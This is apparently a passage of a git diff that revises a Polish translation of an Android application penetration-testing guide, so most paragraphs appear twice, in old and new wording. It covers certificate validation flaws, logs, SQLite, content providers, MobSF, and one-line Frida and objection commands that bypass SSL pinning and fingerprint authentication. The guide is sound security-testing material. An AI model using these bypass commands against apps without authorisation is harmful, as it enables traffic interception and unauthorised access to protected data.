Z jakiegoś powodu czasami deweloperzy akceptują wszystkie certyfikaty, nawet jeśli na przykład nazwa hosta nie pasuje do linii kodu, jak w poniższym przykładzie:
|
||||||
```java
|
```java
|
||||||
@ -153,7 +153,7 @@ Dobrą metodą na przetestowanie tego jest próba przechwycenia ruchu za pomocą
|
|||||||
|
|
||||||
**Słabe procesy zarządzania kluczami**
|
**Słabe procesy zarządzania kluczami**
|
||||||
|
|
||||||
Niektórzy deweloperzy zapisują wrażliwe dane w lokalnej pamięci i szyfrują je kluczem zakodowanym/łatwym do przewidzenia w kodzie. Nie powinno się tego robić, ponieważ pewne odwracanie kodu może pozwolić atakującym na wydobycie poufnych informacji.
|
Niektórzy deweloperzy zapisują wrażliwe dane w lokalnej pamięci i szyfrują je kluczem zakodowanym/łatwym do przewidzenia w kodzie. Nie powinno się tego robić, ponieważ pewne odwracanie może pozwolić atakującym na wydobycie poufnych informacji.
|
||||||
|
|
||||||
**Użycie niebezpiecznych i/lub przestarzałych algorytmów**
|
**Użycie niebezpiecznych i/lub przestarzałych algorytmów**
|
||||||
|
|
||||||
@ -189,7 +189,7 @@ Zgodnie z tym [**postem na blogu**](https://clearbluejar.github.io/posts/desuper
|
|||||||
|
|
||||||
### Zautomatyzowana analiza statyczna kodu
|
### Zautomatyzowana analiza statyczna kodu
|
||||||
|
|
||||||
Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) jest w stanie znaleźć **luki** poprzez **skanowanie** **kodu** aplikacji. To narzędzie zawiera szereg **znanych źródeł** (które wskazują narzędziu **miejsca**, gdzie **wejście** jest **kontrolowane przez użytkownika**), **sinki** (które wskazują narzędziu **niebezpieczne** **miejsca**, gdzie złośliwe dane wejściowe użytkownika mogą spowodować szkody) i **zasady**. Te zasady wskazują na **kombinację** **źródeł-sinków**, które wskazują na lukę.
|
Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) jest w stanie znaleźć **luki** poprzez **skanowanie** **kodu** aplikacji. To narzędzie zawiera szereg **znanych źródeł** (które wskazują narzędziu **miejsca**, gdzie **wejście** jest **kontrolowane przez użytkownika**), **sinks** (które wskazują narzędziu **niebezpieczne** **miejsca**, gdzie złośliwe dane wejściowe użytkownika mogą spowodować szkody) oraz **reguły**. Te reguły wskazują na **kombinację** **źródeł-sinków**, która wskazuje na lukę.
|
||||||
|
|
||||||
Dzięki tej wiedzy, **mariana-trench przejrzy kod i znajdzie możliwe luki w nim**.
|
Dzięki tej wiedzy, **mariana-trench przejrzy kod i znajdzie możliwe luki w nim**.
|
||||||
|
|
||||||
@ -267,7 +267,7 @@ Musisz aktywować opcje **debugowania**, a byłoby dobrze, gdybyś mógł je **z
|
|||||||
4. Naciśnij **Numer kompilacji** 7 razy.
|
4. Naciśnij **Numer kompilacji** 7 razy.
|
||||||
5. Wróć i znajdziesz **Opcje dewelopera**.
|
5. Wróć i znajdziesz **Opcje dewelopera**.
|
||||||
|
|
||||||
> Po zainstalowaniu aplikacji pierwszą rzeczą, którą powinieneś zrobić, jest jej przetestowanie i zbadanie, co robi, jak działa i zapoznanie się z nią.\
|
> Gdy zainstalujesz aplikację, pierwszą rzeczą, którą powinieneś zrobić, jest jej przetestowanie i zbadanie, co robi, jak działa i zapoznanie się z nią.\
|
||||||
> Sugeruję **przeprowadzenie tej początkowej analizy dynamicznej za pomocą analizy dynamicznej MobSF + pidcat**, abyśmy mogli **dowiedzieć się, jak działa aplikacja**, podczas gdy MobSF **zbiera** wiele **interesujących** **danych**, które możesz później przejrzeć.
|
> Sugeruję **przeprowadzenie tej początkowej analizy dynamicznej za pomocą analizy dynamicznej MobSF + pidcat**, abyśmy mogli **dowiedzieć się, jak działa aplikacja**, podczas gdy MobSF **zbiera** wiele **interesujących** **danych**, które możesz później przejrzeć.
|
||||||
|
|
||||||
### Niezamierzony wyciek danych
|
### Niezamierzony wyciek danych
|
||||||
@ -277,12 +277,12 @@ Musisz aktywować opcje **debugowania**, a byłoby dobrze, gdybyś mógł je **z
|
|||||||
Deweloperzy powinni być ostrożni w ujawnianiu **informacji debugowania** publicznie, ponieważ może to prowadzić do wycieków wrażliwych danych. Narzędzia [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` są zalecane do monitorowania logów aplikacji w celu identyfikacji i ochrony wrażliwych informacji. **Pidcat** jest preferowane ze względu na łatwość użycia i czytelność.
|
Deweloperzy powinni być ostrożni w ujawnianiu **informacji debugowania** publicznie, ponieważ może to prowadzić do wycieków wrażliwych danych. Narzędzia [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` są zalecane do monitorowania logów aplikacji w celu identyfikacji i ochrony wrażliwych informacji. **Pidcat** jest preferowane ze względu na łatwość użycia i czytelność.
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Zauważ, że od **nowszych niż Android 4.0**, **aplikacje mogą uzyskiwać dostęp tylko do swoich własnych logów**. Aplikacje nie mogą uzyskiwać dostępu do logów innych aplikacji.\
|
> Zauważ, że od **nowszych niż Android 4.0**, **aplikacje mogą uzyskiwać dostęp tylko do swoich własnych logów**. Więc aplikacje nie mogą uzyskiwać dostępu do logów innych aplikacji.\
|
||||||
> Tak czy inaczej, nadal zaleca się **nie logować wrażliwych informacji**.
|
> Tak czy inaczej, nadal zaleca się **nie logować wrażliwych informacji**.
|
||||||
|
|
||||||
**Bufor kopiowania/wklejania**
|
**Bufor kopiowania/wklejania**
|
||||||
|
|
||||||
Oparty na **schowku** framework Androida umożliwia funkcjonalność kopiowania i wklejania w aplikacjach, ale stwarza ryzyko, ponieważ **inne aplikacje** mogą **uzyskiwać dostęp** do schowka, potencjalnie ujawniając wrażliwe dane. Ważne jest, aby **wyłączyć funkcje kopiowania/wklejania** dla wrażliwych sekcji aplikacji, takich jak dane karty kredytowej, aby zapobiec wyciekom danych.
|
Androidowy framework oparty na **schowku** umożliwia funkcjonalność kopiowania i wklejania w aplikacjach, ale stwarza ryzyko, ponieważ **inne aplikacje** mogą **uzyskiwać dostęp** do schowka, potencjalnie ujawniając wrażliwe dane. Ważne jest, aby **wyłączyć funkcje kopiowania/wklejania** dla wrażliwych sekcji aplikacji, takich jak dane karty kredytowej, aby zapobiec wyciekom danych.
|
||||||
|
|
||||||
**Logi awarii**
|
**Logi awarii**
|
||||||
|
|
||||||
@ -296,7 +296,7 @@ Aplikacje często integrują usługi takie jak Google Adsense, co może nieumyś
|
|||||||
|
|
||||||
### Bazy danych SQLite
|
### Bazy danych SQLite
|
||||||
|
|
||||||
Większość aplikacji będzie używać **wewnętrznych baz danych SQLite** do zapisywania informacji. Podczas testów penetracyjnych zwróć uwagę na **bazy danych** utworzone, nazwy **tabel** i **kolumn** oraz wszystkie **dane** zapisane, ponieważ możesz znaleźć **wrażliwe informacje** (co byłoby luką).\
|
Większość aplikacji będzie używać **wewnętrznych baz danych SQLite** do zapisywania informacji. Podczas testu penetracyjnego zwróć uwagę na **bazy danych** utworzone, nazwy **tabel** i **kolumn** oraz wszystkie **dane** zapisane, ponieważ możesz znaleźć **wrażliwe informacje** (co byłoby luką).\
|
||||||
Bazy danych powinny znajdować się w `/data/data/the.package.name/databases`, jak `/data/data/com.mwr.example.sieve/databases`.
|
Bazy danych powinny znajdować się w `/data/data/the.package.name/databases`, jak `/data/data/com.mwr.example.sieve/databases`.
|
||||||
|
|
||||||
Jeśli baza danych zapisuje poufne informacje i jest **szyfrowana**, ale możesz **znaleźć** **hasło** wewnątrz aplikacji, to nadal jest to **luka**.
|
Jeśli baza danych zapisuje poufne informacje i jest **szyfrowana**, ale możesz **znaleźć** **hasło** wewnątrz aplikacji, to nadal jest to **luka**.
|
||||||
@ -342,7 +342,7 @@ Jeśli tapjacking nie jest zapobiegany, możesz nadużyć eksportowanej aktywno
|
|||||||
### Wykorzystywanie dostawców treści - Uzyskiwanie dostępu i manipulowanie wrażliwymi informacjami
|
### Wykorzystywanie dostawców treści - Uzyskiwanie dostępu i manipulowanie wrażliwymi informacjami
|
||||||
|
|
||||||
[**Przeczytaj to, jeśli chcesz odświeżyć, czym jest dostawca treści.**](android-applications-basics.md#content-provider)\
|
[**Przeczytaj to, jeśli chcesz odświeżyć, czym jest dostawca treści.**](android-applications-basics.md#content-provider)\
|
||||||
Dostawcy treści są zasadniczo używani do **dzielenia się danymi**. Jeśli aplikacja ma dostępne dostawców treści, możesz być w stanie **wyodrębnić wrażliwe** dane z nich. Interesujące jest również testowanie możliwych **iniekcji SQL** i **przechodzenia po ścieżkach**, ponieważ mogą być podatne.
|
Dostawcy treści są zasadniczo używani do **dzielenia się danymi**. Jeśli aplikacja ma dostępne dostawców treści, możesz być w stanie **wyodrębnić wrażliwe** dane z nich. Warto również przetestować możliwe **SQL injection** i **Path Traversals**, ponieważ mogą być podatne.
|
||||||
|
|
||||||
[**Dowiedz się, jak wykorzystywać dostawców treści za pomocą Drozer.**](drozer-tutorial/index.html#content-providers)
|
[**Dowiedz się, jak wykorzystywać dostawców treści za pomocą Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||||
|
|
||||||
@ -351,7 +351,7 @@ Dostawcy treści są zasadniczo używani do **dzielenia się danymi**. Jeśli ap
|
|||||||
[**Przeczytaj to, jeśli chcesz odświeżyć, czym jest usługa.**](android-applications-basics.md#services)\
|
[**Przeczytaj to, jeśli chcesz odświeżyć, czym jest usługa.**](android-applications-basics.md#services)\
|
||||||
Pamiętaj, że działania usługi zaczynają się w metodzie `onStartCommand`.
|
Pamiętaj, że działania usługi zaczynają się w metodzie `onStartCommand`.
|
||||||
|
|
||||||
Usługa to zasadniczo coś, co **może odbierać dane**, **przetwarzać** je i **zwracać** (lub nie) odpowiedź. Jeśli aplikacja eksportuje jakieś usługi, powinieneś **sprawdzić** **kod**, aby zrozumieć, co robi, i **testować** ją **dynamicznie** w celu wyodrębnienia poufnych informacji, omijania środków autoryzacji...\
|
Usługa to zasadniczo coś, co **może odbierać dane**, **przetwarzać** je i **zwracać** (lub nie) odpowiedź. Jeśli aplikacja eksportuje jakieś usługi, powinieneś **sprawdzić** **kod**, aby zrozumieć, co robi, i **przetestować** ją **dynamicznie** w celu wyodrębnienia poufnych informacji, obejścia środków autoryzacji...\
|
||||||
[**Dowiedz się, jak wykorzystywać usługi za pomocą Drozer.**](drozer-tutorial/index.html#services)
|
[**Dowiedz się, jak wykorzystywać usługi za pomocą Drozer.**](drozer-tutorial/index.html#services)
|
||||||
|
|
||||||
### **Wykorzystywanie odbiorników rozgłoszeniowych**
|
### **Wykorzystywanie odbiorników rozgłoszeniowych**
|
||||||
@ -393,12 +393,12 @@ Zauważ, że jeśli znajdziesz poprawne punkty końcowe w aplikacji, możesz by
|
|||||||
|
|
||||||
**Więcej przykładów**
|
**Więcej przykładów**
|
||||||
|
|
||||||
Ciekawy raport o bug bounty [tutaj](https://hackerone.com/reports/855618) dotyczący linków (_/.well-known/assetlinks.json_).
|
Interesujący raport o bug bounty [tutaj](https://hackerone.com/reports/855618) dotyczący linków (_/.well-known/assetlinks.json_).
|
||||||
|
|
||||||
### Inspekcja i weryfikacja warstwy transportowej
|
### Inspekcja i weryfikacja warstwy transportowej
|
||||||
|
|
||||||
- **Certyfikaty nie zawsze są odpowiednio sprawdzane** przez aplikacje Android. Często te aplikacje ignorują ostrzeżenia i akceptują certyfikaty samopodpisane lub, w niektórych przypadkach, wracają do używania połączeń HTTP.
|
- **Certyfikaty nie zawsze są odpowiednio sprawdzane** przez aplikacje Android. Często te aplikacje ignorują ostrzeżenia i akceptują certyfikaty samopodpisane lub, w niektórych przypadkach, wracają do używania połączeń HTTP.
|
||||||
- **Negocjacje podczas handshake SSL/TLS są czasami słabe**, wykorzystując niebezpieczne zestawy szyfrów. Ta podatność sprawia, że połączenie jest podatne na ataki typu man-in-the-middle (MITM), co pozwala atakującym na odszyfrowanie danych.
|
- **Negocjacje podczas handshake SSL/TLS są czasami słabe**, wykorzystując niebezpieczne zestawy szyfrów. Ta podatność sprawia, że połączenie jest podatne na ataki typu man-in-the-middle (MITM), umożliwiając atakującym odszyfrowanie danych.
|
||||||
- **Wycieki prywatnych informacji** są ryzykiem, gdy aplikacje uwierzytelniają się za pomocą bezpiecznych kanałów, ale następnie komunikują się przez niebezpieczne kanały w innych transakcjach. Takie podejście nie chroni wrażliwych danych, takich jak ciasteczka sesyjne czy dane użytkowników, przed przechwyceniem przez złośliwe podmioty.
|
- **Wycieki prywatnych informacji** są ryzykiem, gdy aplikacje uwierzytelniają się za pomocą bezpiecznych kanałów, ale następnie komunikują się przez niebezpieczne kanały w innych transakcjach. Takie podejście nie chroni wrażliwych danych, takich jak ciasteczka sesyjne czy dane użytkowników, przed przechwyceniem przez złośliwe podmioty.
|
||||||
|
|
||||||
#### Weryfikacja certyfikatu
|
#### Weryfikacja certyfikatu
|
||||||
@ -407,7 +407,7 @@ Skupimy się na **weryfikacji certyfikatu**. Integralność certyfikatu serwera
|
|||||||
|
|
||||||
#### SSL Pinning
|
#### SSL Pinning
|
||||||
|
|
||||||
SSL Pinning to środek bezpieczeństwa, w którym aplikacja weryfikuje certyfikat serwera w porównaniu do znanej kopii przechowywanej w samej aplikacji. Metoda ta jest niezbędna do zapobiegania atakom MITM. Wdrożenie SSL Pinning jest zdecydowanie zalecane dla aplikacji obsługujących wrażliwe informacje.
|
SSL Pinning to środek bezpieczeństwa, w którym aplikacja weryfikuje certyfikat serwera w porównaniu do znanej kopii przechowywanej w samej aplikacji. Ta metoda jest niezbędna do zapobiegania atakom MITM. Wdrożenie SSL Pinning jest zdecydowanie zalecane dla aplikacji obsługujących wrażliwe informacje.
|
||||||
|
|
||||||
#### Inspekcja ruchu
|
#### Inspekcja ruchu
|
||||||
|
|
||||||
@ -419,12 +419,12 @@ Jeśli używasz **Flutter**, musisz postępować zgodnie z instrukcjami na [**te
|
|||||||
|
|
||||||
#### Obejście SSL Pinning
|
#### Obejście SSL Pinning
|
||||||
|
|
||||||
Gdy SSL Pinning jest wdrożone, konieczne staje się jego obejście, aby zainspirować ruch HTTPS. Istnieje kilka metod w tym celu:
|
Gdy SSL Pinning jest wdrożone, konieczne staje się jego obejście, aby zainspirować ruch HTTPS. Istnieje wiele metod w tym celu:
|
||||||
|
|
||||||
- Automatycznie **zmodyfikuj** **apk**, aby **obejść** SSLPinning za pomocą [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Największą zaletą tej opcji jest to, że nie będziesz potrzebować roota, aby obejść SSL Pinning, ale będziesz musiał usunąć aplikację i zainstalować nową, co nie zawsze działa.
|
- Automatycznie **zmodyfikuj** **apk**, aby **obejść** SSLPinning za pomocą [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Największą zaletą tej opcji jest to, że nie będziesz potrzebować roota, aby obejść SSL Pinning, ale będziesz musiał usunąć aplikację i zainstalować nową, co nie zawsze działa.
|
||||||
- Możesz użyć **Frida** (omówionej poniżej), aby obejść tę ochronę. Oto przewodnik, jak używać Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
- Możesz użyć **Frida** (omówionej poniżej), aby obejść tę ochronę. Oto przewodnik, jak używać Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||||
- Możesz także spróbować **automatycznie obejść SSL Pinning** za pomocą [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
- Możesz także spróbować **automatycznie obejść SSL Pinning** za pomocą [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||||
- Możesz także spróbować **automatycznie obejść SSL Pinning** za pomocą **analizy dynamicznej MobSF** (wyjaśnionej poniżej)
|
- Możesz również spróbować **automatycznie obejść SSL Pinning** za pomocą **analizy dynamicznej MobSF** (wyjaśnionej poniżej)
|
||||||
- Jeśli nadal uważasz, że istnieje jakiś ruch, którego nie przechwytujesz, możesz spróbować **przekierować ruch do burp za pomocą iptables**. Przeczytaj ten blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
- Jeśli nadal uważasz, że istnieje jakiś ruch, którego nie przechwytujesz, możesz spróbować **przekierować ruch do burp za pomocą iptables**. Przeczytaj ten blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||||
|
|
||||||
#### Szukanie powszechnych podatności w sieci
|
#### Szukanie powszechnych podatności w sieci
|
||||||
@ -462,7 +462,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
|||||||
```
|
```
|
||||||
### **Wrażliwe dane w Keystore**
|
### **Wrażliwe dane w Keystore**
|
||||||
|
|
||||||
W systemie Android Keystore to najlepsze miejsce do przechowywania wrażliwych danych, jednak przy wystarczających uprawnieniach **możliwe jest ich uzyskanie**. Ponieważ aplikacje mają tendencję do przechowywania tutaj **wrażliwych danych w postaci niezaszyfrowanej**, testy penetracyjne powinny to sprawdzać, ponieważ użytkownik root lub osoba z fizycznym dostępem do urządzenia mogłaby być w stanie ukraść te dane.
|
W Androidzie Keystore to najlepsze miejsce do przechowywania wrażliwych danych, jednak przy wystarczających uprawnieniach **możliwe jest ich uzyskanie**. Ponieważ aplikacje mają tendencję do przechowywania tutaj **wrażliwych danych w postaci niezaszyfrowanej**, testy penetracyjne powinny to sprawdzać, ponieważ użytkownik root lub ktoś z fizycznym dostępem do urządzenia mógłby być w stanie ukraść te dane.
|
||||||
|
|
||||||
Nawet jeśli aplikacja przechowuje dane w keystore, dane powinny być zaszyfrowane.
|
Nawet jeśli aplikacja przechowuje dane w keystore, dane powinny być zaszyfrowane.
|
||||||
|
|
||||||
@ -470,19 +470,19 @@ Aby uzyskać dostęp do danych wewnątrz keystore, możesz użyć tego skryptu F
|
|||||||
```bash
|
```bash
|
||||||
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||||
```
|
```
|
||||||
### **Ominięcie odcisków palców/biometrii**
|
### **Ominięcie odcisku palca/biometrii**
|
||||||
|
|
||||||
Używając poniższego skryptu Frida, możliwe jest **ominięcie uwierzytelniania odcisków palców**, które aplikacje Android mogą stosować w celu **ochrony niektórych wrażliwych obszarów:**
|
Używając poniższego skryptu Frida, możliwe jest **ominięcie uwierzytelniania odciskiem palca**, które aplikacje Android mogą stosować w celu **ochrony niektórych wrażliwych obszarów:**
|
||||||
```bash
|
```bash
|
||||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||||
```
|
```
|
||||||
### **Obrazy w tle**
|
### **Obrazy w tle**
|
||||||
|
|
||||||
Kiedy umieszczasz aplikację w tle, Android przechowuje **zrzut ekranu aplikacji**, aby po przywróceniu do pierwszego planu zaczęła ładować obraz przed aplikacją, co sprawia, że wygląda na to, że aplikacja została załadowana szybciej.
|
Gdy umieszczasz aplikację w tle, Android przechowuje **zrzut ekranu aplikacji**, aby po przywróceniu do pierwszego planu zaczęła ładować obraz przed aplikacją, co sprawia, że wygląda na to, że aplikacja została załadowana szybciej.
|
||||||
|
|
||||||
Jednakże, jeśli ten zrzut ekranu zawiera **wrażliwe informacje**, ktoś z dostępem do zrzutu może **ukraść te informacje** (zauważ, że potrzebujesz roota, aby uzyskać do niego dostęp).
|
Jednak jeśli ten zrzut zawiera **wrażliwe informacje**, ktoś z dostępem do zrzutu może **ukraść te informacje** (zauważ, że potrzebujesz roota, aby uzyskać do niego dostęp).
|
||||||
|
|
||||||
Zrzuty ekranu są zazwyczaj przechowywane w: **`/data/system_ce/0/snapshots`**
|
Zrzuty są zazwyczaj przechowywane w: **`/data/system_ce/0/snapshots`**
|
||||||
|
|
||||||
Android zapewnia sposób na **zapobieganie przechwytywaniu zrzutów ekranu, ustawiając parametr układu FLAG_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega jej pojawianiu się w zrzutach ekranu lub wyświetlaniu na niezabezpieczonych ekranach.
|
Android zapewnia sposób na **zapobieganie przechwytywaniu zrzutów ekranu, ustawiając parametr układu FLAG_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega jej pojawianiu się w zrzutach ekranu lub wyświetlaniu na niezabezpieczonych ekranach.
|
||||||
```bash
|
```bash
|
||||||
@ -503,17 +503,17 @@ Niebezpieczeństwo polega na umożliwieniu atakującym wywoływania nieeksportow
|
|||||||
- **Wstrzykiwanie Intencji** jest podobne do problemu Open Redirect w sieci.
|
- **Wstrzykiwanie Intencji** jest podobne do problemu Open Redirect w sieci.
|
||||||
- Eksploity polegają na przekazywaniu obiektów `Intent` jako dodatkowych, które mogą być przekierowywane do wykonywania niebezpiecznych operacji.
|
- Eksploity polegają na przekazywaniu obiektów `Intent` jako dodatkowych, które mogą być przekierowywane do wykonywania niebezpiecznych operacji.
|
||||||
- Może to ujawniać nieeksportowane komponenty i dostawców treści atakującym.
|
- Może to ujawniać nieeksportowane komponenty i dostawców treści atakującym.
|
||||||
- Konwersja URL w `WebView` na `Intent` może ułatwić niezamierzone działania.
|
- Konwersja URL na `Intent` w `WebView` może ułatwiać niezamierzone działania.
|
||||||
|
|
||||||
### Wstrzyknięcia po stronie klienta Android i inne
|
### Wstrzyknięcia po stronie klienta Androida i inne
|
||||||
|
|
||||||
Prawdopodobnie znasz ten rodzaj luk z sieci. Musisz być szczególnie ostrożny z tymi lukami w aplikacji Android:
|
Prawdopodobnie znasz ten rodzaj luk z sieci. Musisz być szczególnie ostrożny z tymi lukami w aplikacji Android:
|
||||||
|
|
||||||
- **SQL Injection:** Przy obsłudze dynamicznych zapytań lub dostawców treści upewnij się, że używasz zapytań parametryzowanych.
|
- **Wstrzykiwanie SQL:** Przy obsłudze dynamicznych zapytań lub dostawców treści upewnij się, że używasz zapytań parametryzowanych.
|
||||||
- **Wstrzykiwanie JavaScript (XSS):** Sprawdź, czy obsługa JavaScript i wtyczek jest wyłączona dla wszelkich WebViews (domyślnie wyłączona). [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
|
- **Wstrzykiwanie JavaScript (XSS):** Sprawdź, czy obsługa JavaScript i wtyczek jest wyłączona dla wszelkich WebViews (domyślnie wyłączona). [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
|
||||||
- **Inkluzja lokalnych plików:** WebViews powinny mieć wyłączony dostęp do systemu plików (domyślnie włączony) - `(webview.getSettings().setAllowFileAccess(false);)`. [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
|
- **Inkluzja lokalnych plików:** WebViews powinny mieć wyłączony dostęp do systemu plików (domyślnie włączony) - `(webview.getSettings().setAllowFileAccess(false);)`. [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
|
||||||
- **Eternal cookies**: W kilku przypadkach, gdy aplikacja android kończy sesję, ciasteczko nie jest unieważniane lub może być nawet zapisywane na dysku.
|
- **Wieczne ciasteczka**: W kilku przypadkach, gdy aplikacja androidowa kończy sesję, ciastko nie jest unieważniane lub może być nawet zapisywane na dysku.
|
||||||
- [**Secure Flag** w ciasteczkach](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
- [**Flaga zabezpieczeń** w ciastkach](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@ -525,15 +525,15 @@ Prawdopodobnie znasz ten rodzaj luk z sieci. Musisz być szczególnie ostrożny
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
**Ocena podatności aplikacji** za pomocą ładnego interfejsu internetowego. Możesz również przeprowadzić analizę dynamiczną (ale musisz przygotować środowisko).
|
**Ocena podatności aplikacji** przy użyciu ładnego interfejsu internetowego. Możesz również przeprowadzić analizę dynamiczną (ale musisz przygotować środowisko).
|
||||||
```bash
|
```bash
|
||||||
docker pull opensecurity/mobile-security-framework-mobsf
|
docker pull opensecurity/mobile-security-framework-mobsf
|
||||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||||
```
|
```
|
||||||
Zauważ, że MobSF może analizować **Android**(apk)**, IOS**(ipa) **i Windows**(apx) aplikacje (_Aplikacje Windows muszą być analizowane z MobSF zainstalowanym na hoście Windows_).\
|
Zauważ, że MobSF może analizować **Android**(apk)**, IOS**(ipa) **i Windows**(apx) aplikacje (_Aplikacje Windows muszą być analizowane z MobSF zainstalowanym na hoście Windows_).\
|
||||||
Ponadto, jeśli stworzysz plik **ZIP** z kodem źródłowym aplikacji **Android** lub **IOS** (przejdź do folderu głównego aplikacji, wybierz wszystko i stwórz plik ZIP), będzie mógł go również analizować.
|
Ponadto, jeśli stworzysz plik **ZIP** z kodem źródłowym aplikacji **Android** lub **IOS** (przejdź do folderu głównego aplikacji, wybierz wszystko i stwórz plik ZIP), również będzie w stanie go przeanalizować.
|
||||||
|
|
||||||
MobSF pozwala również na **diff/Compare** analizy oraz na integrację z **VirusTotal** (będziesz musiał ustawić swój klucz API w _MobSF/settings.py_ i włączyć go: `VT_ENABLED = TRUE` `VT_API_KEY = <Twój klucz API>` `VT_UPLOAD = TRUE`). Możesz również ustawić `VT_UPLOAD` na `False`, wtedy **hash** zostanie **przesłany** zamiast pliku.
|
MobSF pozwala również na **diff/Compare** analizy oraz integrację z **VirusTotal** (będziesz musiał ustawić swój klucz API w _MobSF/settings.py_ i włączyć go: `VT_ENABLED = TRUE` `VT_API_KEY = <Twój klucz API>` `VT_UPLOAD = TRUE`). Możesz również ustawić `VT_UPLOAD` na `False`, wtedy **hash** zostanie **przesłany** zamiast pliku.
|
||||||
|
|
||||||
### Wspomagana analiza dynamiczna z MobSF
|
### Wspomagana analiza dynamiczna z MobSF
|
||||||
|
|
||||||
@ -548,7 +548,7 @@ Od wersji Android **> 5**, automatycznie **uruchomi Frida** i ustawi globalne us
|
|||||||
|
|
||||||
**Frida**
|
**Frida**
|
||||||
|
|
||||||
Domyślnie będzie również używać niektórych skryptów Frida do **obejścia SSL pinning**, **wykrywania root** i **wykrywania debuggera** oraz do **monitorowania interesujących API**.\
|
Domyślnie użyje również niektórych skryptów Frida do **obejścia SSL pinning**, **wykrywania root** i **wykrywania debuggera** oraz do **monitorowania interesujących API**.\
|
||||||
MobSF może również **wywoływać eksportowane aktywności**, robić **zrzuty ekranu** z nich i **zapisywać** je do raportu.
|
MobSF może również **wywoływać eksportowane aktywności**, robić **zrzuty ekranu** z nich i **zapisywać** je do raportu.
|
||||||
|
|
||||||
Aby **rozpocząć** testowanie dynamiczne, naciśnij zielony przycisk: "**Start Instrumentation**". Naciśnij "**Frida Live Logs**", aby zobaczyć logi generowane przez skrypty Frida i "**Live API Monitor**", aby zobaczyć wszystkie wywołania do podłączonych metod, przekazywane argumenty i zwracane wartości (to pojawi się po naciśnięciu "Start Instrumentation").\
|
Aby **rozpocząć** testowanie dynamiczne, naciśnij zielony przycisk: "**Start Instrumentation**". Naciśnij "**Frida Live Logs**", aby zobaczyć logi generowane przez skrypty Frida i "**Live API Monitor**", aby zobaczyć wszystkie wywołania do podłączonych metod, przekazywane argumenty i zwracane wartości (to pojawi się po naciśnięciu "Start Instrumentation").\
|
||||||
@ -565,11 +565,11 @@ Ponadto masz kilka dodatkowych funkcji Frida:
|
|||||||
- **Search Class Pattern**: Wyszukaj klasy według wzoru
|
- **Search Class Pattern**: Wyszukaj klasy według wzoru
|
||||||
- **Trace Class Methods**: **Śledź** **całą klasę** (zobacz wejścia i wyjścia wszystkich metod klasy). Pamiętaj, że domyślnie MobSF śledzi kilka interesujących metod API Androida.
|
- **Trace Class Methods**: **Śledź** **całą klasę** (zobacz wejścia i wyjścia wszystkich metod klasy). Pamiętaj, że domyślnie MobSF śledzi kilka interesujących metod API Androida.
|
||||||
|
|
||||||
Gdy wybierzesz dodatkowy moduł, który chcesz użyć, musisz nacisnąć "**Start Instrumentation**" i zobaczysz wszystkie wyniki w "**Frida Live Logs**".
|
Gdy wybierzesz moduł pomocniczy, który chcesz użyć, musisz nacisnąć "**Start Intrumentation**" i zobaczysz wszystkie wyniki w "**Frida Live Logs**".
|
||||||
|
|
||||||
**Shell**
|
**Shell**
|
||||||
|
|
||||||
Mobsf oferuje również powłokę z niektórymi poleceniami **adb**, **poleceniami MobSF** i powszechnymi **poleceniami** **powłoki** na dole strony analizy dynamicznej. Niektóre interesujące polecenia:
|
Mobsf oferuje również powłokę z niektórymi poleceniami **adb**, **komendami MobSF** i powszechnymi **poleceniami powłoki** na dole strony analizy dynamicznej. Niektóre interesujące polecenia:
|
||||||
```bash
|
```bash
|
||||||
help
|
help
|
||||||
shell ls
|
shell ls
|
||||||
@ -647,7 +647,7 @@ Pobierz [najowszą wersję](https://github.com/vincentcox/StaCoAn/releases):
|
|||||||
```
|
```
|
||||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
|
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
|
||||||
|
|
||||||
